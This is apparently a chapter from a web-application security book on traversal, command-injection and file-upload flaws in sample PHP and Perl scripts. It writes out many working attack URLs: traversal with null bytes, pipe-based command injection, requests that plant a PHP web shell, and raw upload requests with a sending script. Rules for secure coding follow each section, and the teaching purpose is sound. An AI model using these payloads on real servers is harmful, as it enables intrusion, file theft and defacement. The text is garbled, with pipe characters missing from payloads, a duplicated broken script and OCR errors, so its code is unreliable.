Errors Not Specific to a Particular Programming Language

The previous sections described mistakes related to the particular programming languages. In essence, the descriptions of these mistakes were detailed explanations of particular functions of the programming language. I concentrated not on the normal behavior of a function but on its unforeseen (although documented) response to certain values of its parameters. With knowledge of this response, a hacker can benefit from it.

However, some mistakes can be done in any programming language.

An example of such a vulnerability is the SQL source code injection described in Chapter 3 .

Vulnerabilities not related to a particular programming language are often caused by the erroneous logic of a script. Every script works according to a certain algorithm. If the algorithm isn't considered well enough, it can have features that are not assumed by the programmer and are missing from the specification. These vulnerabilities can be classified , but their classification isn't as strict as with particular programming languages.

Other causes of vulnerabilities not related to a particular interpreted language are common features of these languages and certain features of the operating system and its file system.

Vulnerabilities described in this section can be typical of different programming languages used for the development of Web applications. These mistakes can be done when writing in PHP, Perl, or other programming languages.

File Output Mistakes

This section describes mistakes that make certain files available to the attacker even though these file should be hidden from remote users. These mistakes can be made in both Perl and PHP programs.

Consider two examples.

http://localhost/2/14.php

 <?   $id=$_GET ["id"];   if(!empty ($id))   {     $f=fopen("./data/$id.txt", "r");     while($r=fread($f, 1024))     {      echo $r;     }   }else   echo "  This is file database. Select a file.  <a href=14.php?id=001>001</a><br>  <a href=14.php?id=002>002</a><br>  <a href=14.php?id=003>003</a><br>  ";  ?> 

http://localhost/cgi-bin/5.cgi

 #!/usr/bin/perl use CGI qw (:standard); print "Content-Type: text/html\n\n"; $id=param("id"); if ($id) {    open(F, "./data/$id.txt");    while (<F>)    {     print;    }  }  else  {    print "    This is file database. Select a file.   <a href=5.cgi?id=001>001</a><br>   <a href=5.cgi?id=002>002</a><br>   <a href=5.cgi?id=003>003</a><br>  ";  } 

The first script is written in PHP; the second is in Perl. They have similar logic and implement the same task using the same method.

A mistake that causes a vulnerability is that the value of a parameter received from a user is passed to the file opening function without filtration. This mistake entails a vulnerability because the received parameter can contain special control sequences, such as directory bypassing sequences, and other control characters .

In most file systems, the .. / sequence means moving one level up in the directory system. For example, /usr/local/www/../ is the same as /usr/local/ , and C:/winnt/system32/.. /media is the same as C: /winnt/media .

Thus, the attacker can access any file in the system by passing a string containing the directory-bypassing sequence as a value of the id GET parameter.

However, the TXT extension is added to the received value. Therefore, the attacker can obtain any file with the TXT extension by using the directory-bypassing sequence in the id parameters:

  • http://localhost/2/14.php?id=./../passwd

  • http://localhost/2/14.php?id=./../../2/passwd

  • http://localhost/cgi-bin/5.cgi?id=./../passwd

  • http://localhost/cgi-bin/5.cgi?id=./../../2/passwd

In all these cases, the TXT extension will be added to the file name , and the following files will be opened:

  • ./data/./../passwd.txt or. /passwd.txt .

  • ./data/./../../2/passwd or ./passwd.txt . Note that the 14.php script is located in the /2/ directory.

  • ./data/./../passwd.txt or /cgi-bin/passwd.txt . The image from book  5.cgi script is locatedin /cgi-bin/ .

  • ./data/./../../2/passwd.txt or /2/passwd.txt .

You might think that this vulnerability is related only to getting files whose extension is TXT. However, this is not the case. Remember a feature of interpreted languages such as PHP or Perl: In these languages, strings can contain the null character inside them. At the same time, system functions that open files are written in C. In this language, the null character terminates a string.

The null character is URL-encoded as %00 . So, the attacker can insert it into a GET parameter and into the directory bypassing sequence. As a result, the script will open a file whose name terminates with the first null character.

In these examples, the attacker can obtain the contents of files whose names he or she knows . Sometimes, the attacker can find out whether a particular directory is present on the server or even obtain a list of its files and subdirectories.

Make two requests to this script. The first one should send an existing directory name, and the second should send a nonexistent one:

  • http://localhost/2/14.php?id=./../../cgi-bin/%00

  • http://localhost/2/14.php?id=./../../not-exists/%00

The first request makes the script open and read the /CGZ-BIN/ file that exists on the server and is a directory. The second request points to the /NOT-EXTSTS/ directory that doesn't exist.

If the PHP interpreter is configured so that error messages are output to the browser, the attacker can analyze them. This is the case in the default PHP configuration.

Suppose that the output of messages is enabled, and compare messages output in these two examples. If the requested directory exists on the server, the following message is output:

 Warning: fopen(./data/./../../cgi-bin/): failed to open stream:    Permission denied in x:\localhost.php on line 5    Warning: fread(): supplied argument is not a valid stream resource in    x:\localhost.php on line 6 

If the script fails to find the directory, it outputs the following message:

 Warning: fopen(./data/./../../not-exists/): failed to open stream: No    such file or directory in x:\localhost.php on line 5    Warning: fread(): supplied argument is not a valid stream resource in    x:\localhost.php on line 6 

As you can see, the attacker can easily know whether a particular directory exists on the server. He or she just needs to request the desired directory using HTTP. The Permission denied message indicates that the requested directory exists.

The cause of this message is that the script tries to open the directory as a file, which is impossible . Although a directory is a file of a special type, it cannot be opened in Windows as an ordinary file.

Unix-like operating systems open directories as if they are files. What's more, in these systems the contents of such a system file are output in a binary form. With certain skills, the attacker can obtain the names of files and subdirectories of this directory by analyzing this binary output. Thus, the attacker can get the contents of a directory in a Unix-like operating system (if the directory is available for reading to him or her). In Unix-like operating systems, the Permission denied message won't appear. Rather, the binary contents of the directory will be output.

Note that both requests send the null characters at the end of the directory name to discard the string that the script could append to the directory name.

Now, look at what the script in Perl outputs:

  • http://localhost/cgi-bin/5.cgi?id=./../%002

  • http://localhost/cgi-bin/5.cgi?id=./../not-exists%00

In Windows, no messages are output regardless of whether the requested directory exists. The script is written so that no messages are output to the browser.

As with the previous example, if the requested directory exists on the server in a Unix-like operating system, its contents is output in a binary form.

Consider two more examples. They are similar to the previous ones, but the programmer checks the requested file for existence to protect the system from the attacker.

http://localhost/2/15.php

 <?   $id=$_GET ["id"];   if(!empty ($id))   {     if(file_exists("./data/$id.txt"))     {       $ f=fopen("./data/$id.txt", "r");       while($r=fread($f, 1024))       {        echo $r;       }     }else     {       echo "file not found";     }   }else   echo "   This is file database. Select a file.  <a href=15.php?id=001>001</a><br>  <a href=15.php?id=002>002</a><br>  <a href=15.php?id=003>003</a><br>  ";  ?> 

http://localhost/cgi-bin/6.cgi

 #!/usr/bin/perl use CGI qw(:standard); print "Content-Type: text/html\n\n"; $id=param("id"); if($id) {   if(-e "./data/$id.txt")   {     open(F, "./data/$id.txt");     while(<F>)     {       print;     }   }else   {     print "file not found";   } } else {   print "   This is file database. Select a file.  <a href=6.cgi?id=001>001</a><br>  <a href=6.cgi?id=002>002</a><br>  <a href=6.cgi?id=003>003</a><br> "; } 

The difference between these scripts and the previous pair is that the latest scripts check whether the file exists before trying to open it. This is how the programmer avoids the situation, in which the script tries to open a nonexistent file.

This check is required and important when the file name is a value of a variable and the file doesn't necessarily exist. However, this check doesn't increase the security level of the system. The tricks described earlier that allow the attacker to access any system files will work in this case, too. The functions that check the existence of a file are vulnerable to the same methods for changing the path to a file and truncating "excessive" characters with the null character. In other words, the file that the attacker wants to open exists in the system.

A check for existence doesn't prevent the attacker from obtaining the contents of any file in the system. However, the behavior of the scripts will be different when the attacker tries to find out whether a particular directory is present on the server. The functions that check files for existence don't distinguish whether the specified name belongs to a common file or a directory. When it is a directory, the script will decide the file exists and try to open it.

Consider the http://localhost/2/15.php script. If the requested file doesn't exist, the script outputs a message that the file wasn't found. No system error messages are displayed.

Now consider http://localhost/2/15.php?id=not-exists . The same happens if a nonexistent directory is requested like this:

http://localhost/2/15.php?id=./not-exists/%00/

However, if you pass the script the name of an existing directory (http://localhost/2/15.php?id=./../../cgi-bin/%00) , the following error message will be output to the browser:

 Warning: fopen(./data/./../../cgi-bin/): failed to open stream:    Permission denied in x:\localhost.php on line 7    Warning: fread(): supplied argument is not a valid stream resource in    x:\localhost.php on line 8 

As in the previous cases, the cause of this message is an attempt to open a directory as if it was a file. This situation is typical of Windows. In a Unix-like operating system, the contents of the directory will be output in a binary form.

Now, consider the Perl script with the same functionality. Obtaining the contents of a file with a known name will be easy for the attacker. However, there are certain peculiarities in Windows that pass the directory name as a file name.

When the directory doesn't exist, the check for existence will return a negative result, and a message that the file wasn't found will be output:

http://localhost/cgi-bin/6.cgi?id=./not-exists/%800

When the passed name belongs to an existing directory (http://localhost/cgi-bin/6.cgi?id=./../data/%800) , the check will be passed successfully but the file-open error will emerge. The script will return an empty page.

As in the previous examples, the contents of the directory in the binary form will be output in a Unix-like operating system.

Now, consider a situation, in which the passed parameter is a fragment of a file name and the beginning of the name is explicitly defined. Here are two examples.

http://localhost/2/16.php

 <?   $id=$_GET ["id"];   if(!empty ($id))   {     $f=fopen("./data/file-$id.txt", "r");     while($r=fread($f, 1024))     {      echo $r;     }   }else   echo "  This is file database. Select a file.  <a href=16.php?id= 1>1</a><br>  <a href=16.php?id=2>2</a><br>  <a href=16.php?id=3>3</a><br>  ";   ?>  

http://localhost/cgi-bin/7.cgi

 #!/usr/bin/perl use CGI qw(:standard); print "Content-Type: text/html\n\n"; $id=param("id"); if ($id) {   open(F, "./data/file-$id.txt");   while (<F>)   {     print;   } } else {   print "   This is file database. Select a file.  <a href=7. cgi?id=l>K/a><br>  <a href=7.cgi?id=2>2</a><br>  <a href=7.cgi?id=3>3</a><br>  ";  } 

In both scripts, if the attacker wants to insert the directory-bypassing sequences into the file, he or she should specify a nonexistent directory as one of the directives in the path. This is necessary because the script tries to open a file whose name begins with file - in the ./data/ directory, and there is no subdirectory in this directory whose name would begin with this string.

If the directory contained such a subdirectory, for example, ./file-list/ , the attacker could reduce this case to the one described earlier by sending the id GET parameter, whose value would contain the name of this directory:

  • http://localhost/2/16.php?id=list/../../../passwd.txt%00

  • http://localhost/cgi-bin/7.cgi?id=list/../../../passwd.txt%00

However, this is not the case in the example you are looking at.

The attacker can use either of the following methods: He or she can specify a nonexistent directory inside the path and then move one level up, or he or she can specify an existing file as a directory name.

As practice shows, sometimes it is possible to leave a directory using a nonexistent directory name:

  • http://localhost/2/16.php?id=not-exists/../../../passwd.txt%00

  • http://localhost/cgi-bin/7.cgi?id=not-exists/../../../passwd.txt%00

Sometimes, Windows (e.g., Windows 2000 with FAT or NTFS) allows the user to specify a nonexistent directory in a path if it is followed by moving one level up. In Unix-like operating systems, each directory in the path should exist and be available to the current user. In such a case, none of the described methods for leaving the current directory will work.

For secure programming, you should decide, which files can be accessed by the users and which cannot. Stick to the following rule:

Rule 

Avoid using variables that can be affected by a remote user to specify a fragment of the name of a file to open. When this is necessary, the values of such variables should belong to a fixed set of valid values. The set should be thoroughly specified based on which files can be accessed by the users and which cannot.

Remember that a malicious user can include special characters into a requested file name, such as the directory-bypassing sequences, the null character, and other control characters (e.g., , >, and <).

Embedding Code into the system() Function

The system() function and functions similar to it are used in various programming languages to execute system commands. Sometimes, it is necessary to pass this function dynamic arguments. For example, this is required when the server calls ping or traceroute to check its channel up to a certain address entered by the user. Here is a couple of examples.

http://localhost/2/17.php

 <? $ip=$_GET["ip"]; if (empty ($ip)) {   echo "<form> Enter IP address: <input type=text name=ip><input type=submit value='ping'> </form>"; } else {   echo "<pre>ping -n 5 $ip\n";   system("ping -n 5 $ip"); } ?> 

http://localhost/cgi-bin/8.cgi

 #!/usr/bin/perl use CGI qw(:standard); print "Content-Type: text/html\n\n"; $ip=param("ip"); if(!$ip) {  print "<form> Enter IP address: <input type=text name=ip><input type=submit value='ping'> </form>"; }else {   print "<pre>ping -n 5 $ip\n";   system ("ping -n 5 $ip"); }; 

Both examples include the system ("ping -n 5 $ip") construction, where the ip variable is received from the user.

The danger of this situation is that the user can embed any characters into the ip parameter, including the new stream character and other system characters that would allow him or her to specify a chain of commands. The System() function doesn't put any restrictions on its arguments.

Because the function executes system commands, exploitation of this vulnerability depends on the operating system, under which a vulnerable application runs.

Consider possible ways of embedding system commands into this function in Windows. The semicolon isn't used in Windows to separate commands, so it is impossible to create a chain of commands using this character. Which characters can be used in system commands?

The pipe character () is used to redirect the output of a system command. When it is used, the output of a system command in a chain will be sent to the standard input of the next command. In other words, the pipe character allows you to create a series of system commands. For example, you can make the following HTTP requests:

  • http://localhost/2/17.php?ip=127.0.0.1netstat+-an

  • http://localhost/2/17.php?ip=localhostnetstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.lnetstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=localhostnetstat+-an

The following commands will be executed:

  • ping -n 5 127.0.0.1Inetstat -an

  • ping -n 5 localhost netstat -an

  • ping -n 5 127.0.0.1Inetstat -an

  • ping -n 5 localhost netstat -an

You could use any system command instead of netstat -an. As a result, the system will attempt to ping the computer. The output will be sent to the standard input of the netstat command. This system command ignores data at its input and outputs a list of active connections.

This is how an attacker can execute any system commands.

Sometimes, the result of the ping command can affect the functionality of a command that the attacker wants to execute. The less-than and greater-than characters (< and >) are used to redirect the output to a file or from a file. Using these characters, you can redirect the output of the ping command to a file and then place the pipe character followed by any command. The system will execute the ping command, write its output into a file, and then execute any command specified by the user. The output of this command will be sent to the browser, and no data will be sent to the input of the malicious system command.

Consider a few examples:

  • http://localhost/2/17.php?ip=127.0.0.1+>+ tmpfile netstat+-an

  • http://localhost/2/17.php?ip=localhost+>+tmpfilelnetstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.1+>+tmpfilenetstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=localhost+>+tmpfilenetstat+-an

The output of the ping command will be sent to the tmpfile file in the current directory.

Using the redirection characters, the attacker can create any files in a vulnerable system. The danger of this situation is that the attacker can create PHP shell or Perl shell files.

Here are examples of requests creating PHP shell files:

  • http://localhost/2/17.php?ip=127.0.0.1+>+tmpfile++echo+system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

  • http://localhost/2/17.php?ip=localhost+>+tmpfile+l+echo+"<?system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.1+>+tmpfile++echo+"<?system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

  • http://localhost/cgi-bin/8.cgi?ip=localhost+>+tmpfile+l+echo+"<?system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

In addition, the attacker can obtain the contents of any file on the server using the type command, as shown in the following examples:

  • http://localhost/2/17.php?ip=127.0.0.1+>+tmpfile++type+17.php

  • http://localhost/2/17.php?ip=localhost+>+tmpfile+l+type+17.php

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.1+>+tmpfile++8.cgi

  • http://localhost/cgi-bin/8.cgi?ip=localhost+>+tmpfile++8.cgi

These HTTP requests output the code of the executed script to the browser.

The situation is different in Unix-like operating systems.

First, they use system commands other than those used in Windows. For example, cat should be used instead of type . I'm not going to describe system commands and their parameters in Unix or Windows, but I'd like to demonstrate the difference in the exploitation of this vulnerability in different operating systems.

Second, the control over the output in Unix is more flexible than in Windows. Using constructions such as &1>2 , you can redirect error messages to the standard output stream. This will allow you to output an error message of a command to the browser. Sometimes this feature is useful.

Third, you can use special system commands such as /dev/null to redirect the output of a command to the specified file. As the file name implies, the data sent to this file will be lost forever. Redirecting data to an actual file or creating or editing a file could incur the administrator's suspicion.

Finally, you can use a semicolon to enter a series of system commands. By default, the output of each command will be sent to the browser.

The pipe character, the less-than and greater-than characters, and the << and >>characters work as usual.

This vulnerability is one of the most dangerous vulnerabilities you could encounter in Web systems. It allows the attacker to manipulate the server with the rights of the user who started the Web server as if the attacker was using a local computer. In particular, he or she can exploit local vulnerabilities, scan the local network from inside, and explore the system.

To write invulnerable applications, stick to the following rule:

Rule 

Avoid using variables that could be affected by a remote user inside the system() function and similar functions. When this is necessary, make sure that the values of these variable fall into a fixed, predefined set of valid values. The set should be thoroughly specified depending on the task.

When specifying the set of valid values, keep in mind that the user can use the characters mentioned earlier inside the value of a parameter. In this case, your best approach will be as follows : Permit the necessary and prohibit the rest.

For example, if you allow remote users to ping any IP address from your server, the received value of the corresponding parameter should be a valid IP address: four dot-separated integers from 0 to 255. Other characters should be prohibited .

Another approach could be as follows: Prohibit the dangerous and permit the rest. However, it can be fraught with errors.

Some programming languages offer programmers functions that screen special characters. For example, there is the escapeshellcmd() function in PHP.

In Perl, you ca n execute any command without the sh interpreter. The argument of a system command is passed as the second parameter. For example, the system "/bin/echo", $arg construction is safe because it doesn't use the sh command interpreter.

In Perl, it is common to call the sendmail utility and pass it an e-mail address as a parameter. In this case, the attacker also can exploit the vulnerability. Although the output of the embedded command won't be available to the attacker, the vulnerability is still dangerous. When the result of a system command isn't displayed in the browser window or when it is filtered, the attacker can try to send the result to his or her e-mail address using the sendmail utility.

In some cases, a Web interface for creating users of the operating system is offered to the user. In Unix, the adduser command and a few similar commands can be used for this purpose. In this case, the attacker can try to embed commands into the user name.

To add a new user, this command should be called with privileges of the system user root . These are the highest privileges in the system. The danger of embedding code in this case can be crucial because the attacker will gain complete control over the system.

However, it will be difficult for the attacker to disclose this vulnerability without the source code of scripts. He or she can guess at the presence of this vulnerability from the behavior of the script. If the script performs functions specific to operating system commands, the attacker can suppose that the vulnerability takes place. Typical situations are calls to functions such as ping , traceroute , and whois .

Assuming the vulnerability takes place, the attacker can try to exploit it. A successful attack will confirm his or her assumption.

File Uploading Errors

Earlier in this chapter, I described typical errors in PHP scripts that implement file uploading by the user. These don't exhaust dangerous situations. There are a few common mistakes that a programmer can make in scripts, and they aren't related to a particular programming language.

Embedding Shell Code

The most dangerous, easily exploited, and frequent mistake involves allowing a user to upload any file into a directory on the Web server.

For example, users may be allowed to attach any file to their messages in the forum. These files should be accessible using HTTP; otherwise , such a procedure would be pointless.

Suppose that the user is allowed to upload any file with any extension. In this case, the mistake is that some extensions can be associated with certain interpreters. For example, the PHP and PHP3 extensions are associated with the PHP interpreter.

To exploit this vulnerability, the attacker just needs to create a PHP script in a file with the PHP or PHP3 extension and upload it to the server using the available Web interface. For example, he or she is likely to upload PHP shell code to execute any commands on the server. Then the attacker will request the uploaded document using HTTP, and if the document's extension is associated with the PHP interpreter, the document will be executed as a script rather than returned to the client.

It doesn't matter, in which language the script is written. It is important, however, that its extension is associated with the PHP interpreter.

Sometimes, the check for the correct extension of files sent by users is done with a JavaScript function on the client. If you offer users a form to use when uploading files and check the validity of the file name using JavaScript tools, the file won't be uploaded when its name is invalid.

As with other actions on the client, you shouldn't trust this check. The user can easily circumvent it by disabling JavaScript in his or her browser.

Suppose that the attacker wants to circumvent your checks but doesn't want to disable JavaScript. What could the attacker do?

Before the form is sent to the server, the onSubmit event is triggered, and a JavaScript function puts a special value into a hidden field. The receiver application checks whether this field contains this value. It receives the files only if the check returns the positive result. Thus, the program makes sure that JavaScript isn't disabled on the client browser and that the extension of the file is valid.

However, nothing prevents the attacker from creating an HTTP POST request to the target server with the correct value of the special parameter and malicious file contents. No check will be performed in that case.

Using this vulnerability, the attacker can easily upload a PHP shell script. When uploading a Perl shell script, the attacker would need to be aware that in Unix-like operating systems a Perl script sometimes should have rights for execution. It would be impossible to the attacker to create a file on the server with necessary access rights by exploiting this vulnerability.

The attacker also would need to remember that in Unix-like operating systems the character with the OA code is used to denote a new line and that in Windows the ODOA two-character sequence is used. When a Perl script is executed as a CGI application, a 1-byte linefeed indicator is important. Otherwise, the operating system won't detect the interpreter.

To protect your applications from this type of attack, stick to the following rule:

Rule 

Don't allow users to upload files into a directory available using HTTP. The name of the uploaded file should belong to a fixed set of valid names. The set should be thoroughly specified depending on the task and taking into account that the uploaded files should be available only for reading, not for execution. If the set of valid names includes files with dangerous extensions such as PHP, CGI, or PL, execution of such files should be barred using other methods.

In any case, you should stick to the following rule:

Rule 

Don't trust any data received from a user. Don't assume that applications on the cl lent work correctly and return valid results. (It would be best to assume they don't work at all.)

The best policy in this situation would involve discarding the file name given by the user, assigning another name, and informing the user about this new file name.

Consider an example: Suppose that files are uploaded into a directory inaccessible using HTTP. The http://localhost/2/13.php script can be an example of a script uploading files. After a file is uploaded, the user is given the link to a script that takes a file name as a GET HTTP parameter. This script reads the specified file from the directory inaccessible using HTTP and sends the file to the user's browser. Thus, uploaded files can have any extension, including PHP. The contents of a file, not the result of its execution, will be returned to the user.

Here is an example of a script that outputs a requested file.

http://localhost/2/18.php

 <?  if(!empty ($file))  {    $f=fopen("./upload/$file", "r");    while($r=fread($f, 1024))       echo n12br(htmlspecialchars($r));  }  else  {    echo "    <form>    Enter the file name please    <input type=text name=file>    <input type=submit value=Return>    ";  } ?> 

Therefore, if the ./upload/ directory is protected from access using HTTP, the user will be unable to upload and execute PHP shell code. Any uploaded file will be returned unprocessed to a client who requested it. However, the script that returns the contents of the file contains an error. The attacker can include the directory bypassing sequence into the file name to read any file in the system.

A similar situation can take place if the name of the requested file is changed on the server and sent as a parameter to a vulnerable script. For example, the following directive of Apache's mod_rewrite module can be used:

 RewriteRule ^/2/upload/(.+)$ "/2/18.php?file=" 

It will convert all requests in the http:/localhost/2/upload/testfile.txt format to the http://localhost/2/18.php?file=testfile.txt format.

This will introduce implicit dynamics into the system. A request to a file that seems static will eventually turn into a request to the PHP script that outputs the contents of the file to the browser.

Because of the directory-bypassing vulnerability contained in the script, the attacker can read any file in the system using an HTTP request like the following:

http://localhost/2/upoad/../18.php

This request returns the contents of the 18.PHP file to the attacker.

Warning 

The mod_rewrite module isn't enabled on the CD-ROM that accompanies this book. This example won't work in the test system and is given here just for illustration.

Writing into Any Directory

There is another mistake common to many scripts that process file uploading.

Consider an example that is a modification of an example already familiar to you.

http://localhost/2/19.php

 <form enctype="multipart/form-data" method=POST       action=http://localhost/2/19.php> <input type=hidden name=MAX_FILE_SIZE value=10000> Send this file: <input name=userfile type=file> <input type=subbmit value="Send File"> </form> <?   if (!empty($_FILES["userfile"]["tmp_name"]))   {       if (move_uploaded_file($_FILES["userfile"]["tmp_name"],            "./upload/{$_FILES["userfile"]["name"]}")) {       {       echo "<br> <br>        File is uploaded <a href=\"./upload/{$_FILES["userflie"]["name"]}\">                      ./upload/{$_FILES["userfile"]["name"]}</a>";      }   } ?> 

This script uses the $_files array to prevent a user from substituting the name of the temporary uploaded file with the name of a target file in the system to access that file. The use of the move_uploaded_file() function guarantees that the file being moved was just uploaded using the HTTP POST method. The script uses the fact that the browser sends the original file name to the system without the path to it.

Look at the HTTP request sent to the server when a user tries to upload a file:

 POST /2/19.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0;         en-US; rv:1.7.2) Gecko/20040803 Accept: */* Accept-Language: en-us;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 3000 Connection: keep-alive Referer: http://localhost/2/19.php Content-Type: multipart/form-data;         boundary----------------------------491299511942 Content-Length: 321 <empty line> -----------------------------491299511942 Content-Disposition: form-data; name="MAX_FILE_SIZE" <empty line> 10000 -----------------------------491299511942 Content-Disposition: form-data; name="userfile";         filename="testfilename.txt" Content-Type: text/plain <empty line> this is a test file -----------------------------491299511942-- 

As you can see, this is an ordinary HTTP POST request. The body of the request consists of POST parameters, and the type of the body is multipart/form-data . This means the body consists of multiple parts .

The boundary=-----------------------------491299511942 line identifies a delimiter of the parts.

In this example, the body (contents) of the request consists of two parts corresponding to two POST parameters sent in the request. The first one is the MAX_FILE_SIZE parameter that tells the browser the maximum size of the file that will be sent, and the second parameter is the file itself.

In the filename="testfilename.txt" line, the browser tells the server the original file name in the client system. According to the HTTP specification, this is a file name without a path. However, nothing prevents the attacker from inserting the directory-bypassing sequence into the file name. Therefore, applications that use the name of the uploaded file as it is given are vulnerable to an attack that involves writing the uploaded file into any location.

Such an attack will be especially effective if the uploading script doesn't check the extension of the uploaded file, but the HTTP server doesn't permit execution of scripts located in the directory containing uploaded file. For example, this directory can be inaccessible using HTTP.

A successful exploitation of this vulnerability will allow the attacker to upload a malicious file into any directory available for writing to the user who started the HTTP server.

To bypass the directory in this example, it would suffice to change the filename="testfilename.txt" line in the HTTP request to a line such as filename="./../testfilename.txt". The attacker would also need to change the Content-Length field.

The attacker can create a malicious HTTP POST request either using a program such as telnet to connect the directory to the server or using special proxy servers that can change the HTTP requests that pass through them.

This vulnerability is extremely dangerous. File-copying functions used in scripts that upload files can rewrite the target file. Therefore, the attacker can use this vulnerability alone to deface the site, that is, to change its home page.

To write applications secure against this type of attack, specify the set of valid names for uploaded files so that they don't contain the directory bypassing sequence. You'll avoid dangerous situations if the name of the file on the server is generated by a script. If you have to leave the original file name, you should extract the name from the path. To do this, extract characters after the rightmost slash or backslash character.

Note that a PHP script vulnerable to writing uploaded files into any directory will remain vulnerable even if you follow all recommendations in the PHP documentation.

Attempting To Circumvent Extension Filters

After the attacker finds the vulnerability that allows him or her to upload files into any directory, he or she is likely to try circumventing filters for the extensions of uploaded files that can be implemented in the script.

Consider an example and try to circumvent extension filters.

http://localhost/2/20.php

 <form enctype="multipart/form-data" method=POST             action=http: //localhost/2/20.php> <input type=hidden name=MAX_FILE_SIZE value=10000> Send this file: <input name=userfile type=file> <input type=submit value="Send File"> </form> <?   if (!empty($_FILES["userfile"]["tmp_name"]))   {      if (preg_match("/\.txt$/m", $_FILES["userfile"]["name"]))      {          if (move_uploaded_file($_FILES["userfile"]["tmp_name"],                  "./upload/ {$ _FILES["userfile"]["name"]}"))          {             echo "<br> <br>             File is uploaded             <a href=\"./upload/{$_FILES["userfile"]["name"]}\">                      ./upload/{$_FILES["userfile"]["name"]}</a>";          }      }      else      {        echo "<font color=red>        Only text files can be uploaded</font>";      }   } ?> 

This script uses a regular expression to check whether the received file has the TXT extension. If it doesn't, it isn't moved.

Try to use the technique already familiar to you: Use the null character in a string. Create an HTTP POST request sending a file, and change the file name so that it contains the desired extension followed by the URL-encoded null character and the .txt character sequence.

Send this request to the server:

 POST /2/20.php HTTP/1.1    Host: localhost    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0;            en-US; rv:1.7.2) Gecko/20040803    Accept: */*    Accept-Language: en-us;q=0.5    Accept-Encoding: gzip, deflate    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7    Keep-Alive: 3000    Connection: keep-alive    Referer: http://localhost/2/20.php    Content-Type: multipart/form-data;            boundary=---------------------------491299511942    Content-Length: 320    <empty line>    -----------------------------491299511942    Content-Disposition: form-data; name="MAX_FILE_SIZE"    <empty line>    10000    -----------------------------491299511942    Content-Disposition: form-data; name="userfile";            filename="test.php%00.txt"    Content-Type: text/plain    <empty line>    <? system($cmd); ?>    -----------------------------491299511942- 

As a result of this HTTP request, a file with the image from book  TEST.PHP %00.TXT name will be created in the target directory. This is not what you expected. No URL-decoding was done.

Try to change the content type in the part of the HTTP request that contains this file. Substitute it with application/x-www-form-urlencoded .

Even if you change the header fields to the following values, you won't obtain the desired result:

 Content-Disposition: form-data; name="userfile";                  filename="test.php%00,txt"    Content-Type: application/x-www-form-urlencoded 

Remember that when you change these lines of the request, you also should change the Content-Length header .

So, the characters in the file name aren't URL-encoded. The only way to insert the null character into a file name is to insert it without URL encoding.

Because it is impossible to do this in a program like telnet , a special script is needed to send an appropriate HTTP POST request. Here is such a script.

http://localhost/2/21.php

 <? $in="POST /2/20.php HTTP/1.l\r\n". "Host: localhost\r\n". "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20040803\r\n". "Accept: */*\r\n". "Accept-Language: en-us;q=0.5\r\n". "Accept-Encoding: gzip, deflate\r\n". "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n". "Keep-Alive: 3000\r\n". "Connection: keep-alive\r\n". "Referer: http://localhost/2/20.php\r\n". "Content-Type: multipart/form-data; boundary---------------------------- 491299511942\r\n". "Content-Length: 341\r\n\r\n". "-----------------------------491299511942\r\n". "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n". "10000\r\n". "-----------------------------491299511942\r\n" "Content-Disposition: form-data; name=\"userfile\"; filename=\"test.php".chr(0).".txt\"\r\n". "Content-Type: application/x-www-form-urlencoded\r\n\r\n". "<? system($cmd); ?>\r\n". "-----------------------------491299511942-\r\n\r\n"; $target="127.0.0.1"; // The IP address of the server or a proxy server                      // used to send the request $targetport=80; // The port of the server or a proxy server $socket  =  socket_create (AF_INET, SOCK_STREAM, 0); $result  socket_connect ($socket, $target, $targetport); socket_write($socket, $in, strlen($in)); 
 <? $in="POST /2/20.php HTTP/1.l\r\n". "Host: localhost\r\n". "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20040803\r\n". "Accept: */*\r\n". "Accept-Language: en-us;q=0.5\r\n". "Accept-Encoding: gzip, deflate\r\n". "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n". "Keep-Alive: 3000\r\n". "Connection: keep-alive\r\n". "Referer: http://localhost/2/20.php\r\n". "Content-Type: multipart/form-data; boundary---------------------------- 491299511942\r\n". "Content-Length: 341\r\n\r\n". "-----------------------------491299511942\r\n". "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n". "10000\r\n". "-----------------------------491299511942\r\n" "Content-Disposition: form-data; name=\"userfile\"; filename=\"test.php".chr(0).".txt\"\r\n". "Content-Type: application/x-www-form-urlencoded\r\n\r\n". "<? system($cmd); ?>\r\n". "-----------------------------491299511942-\r\n\r\n"; $target="127.0.0.1"; // The IP address of the server or a proxy server // used to send the request $targetport=80; // The port of the server or a proxy server $socket  =  socket_create (AF_INET, SOCK_STREAM, 0); $result socket_connect ($socket, $target, $targetport); socket_write($socket, $in, strlen($in)); $0=""; while ($out  =  socket_read ($socket, 2048)) { $o.=$out; } echo $o; ?> 
=""; while ($out = socket_read ($socket, 2048)) { $o.=$out; } echo $o; ?>

The result of execution of this script will be a message informing you that up-loading of text files is allowed.

Additional investigation will show that this message occurs because the $_FILES["userfile"] ["name"] variable obtains the image from book  test.php value. That is, the fragment of the file name that follows the null character is discarded. In other words, you failed to embed the null character into the file name. Although this method doesn't work in this particular case, you shouldn't conclude that it will never work. Perhaps it will be suitable for another programming language or another Web server.

Embedding the null character into a file name is one of the most frequently used methods for circumventing filters and truncating file names after copying.

